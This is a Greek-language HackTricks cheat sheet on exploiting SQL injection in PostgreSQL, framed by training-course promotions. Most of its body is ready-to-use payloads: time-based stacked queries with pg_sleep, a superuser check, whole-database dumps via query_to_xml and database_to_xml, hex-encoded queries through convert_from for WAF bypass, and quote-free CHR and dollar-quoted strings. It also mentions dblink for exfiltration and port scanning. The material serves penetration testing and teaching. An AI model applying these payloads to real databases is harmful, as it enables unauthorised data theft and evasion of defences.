PostgreSQL injection
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα έχει σκοπό να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
Το PostgreSQL module dblink
προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία COPY FROM
, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η καταγραφή απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να perform these attacks.
Παράδειγμα εξαγωγής χρησιμοποιώντας dblink και μεγάλα αντικείμενα
Μπορείτε να διαβάσετε αυτό το παράδειγμα για να δείτε ένα παράδειγμα CTF του πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξαγάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη της συνάρτησης dblink_connect
.
PostgreSQL Attacks: Read/write, RCE, privesc
Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:
5432,5433 - Pentesting Postgresql
WAF bypass
PostgreSQL String functions
Η χειραγώγηση συμβολοσειρών θα μπορούσε να σας βοηθήσει να παρακάμψετε WAFs ή άλλους περιορισμούς.
Σε αυτή τη σελίδα μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβολοσειρών.
Stacked Queries
Θυμηθείτε ότι το postgresql υποστηρίζει στοίβες ερωτημάτων, αλλά πολλές εφαρμογές θα ρίξουν ένα σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένονται μόνο 1. Αλλά, μπορείτε ακόμα να εκμεταλλευτείτε τις στοίβες ερωτημάτων μέσω Time injection:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks
query_to_xml
Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανική αν θέλετε να εξάγετε πολλά δεδομένα σε μία μόνο γραμμή:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Αυτή η συνάρτηση θα εξάγει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 γραμμή (προσοχή αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον δικό σας πελάτη):
SELECT database_to_xml(true,true,'');
Strings in Hex
Αν μπορείτε να εκτελέσετε queries περνώντας τα μέσα σε μια συμβολοσειρά (για παράδειγμα χρησιμοποιώντας τη query_to_xml
συνάρτηση). Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Απαγορευμένα αποσπάσματα
Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να παρακάμψετε αυτό με το CHR
για βασικές ρήτρες (η συγχώνευση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ή με $
. Αυτές οι ερωτήσεις επιστρέφουν τα ίδια αποτελέσματα:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.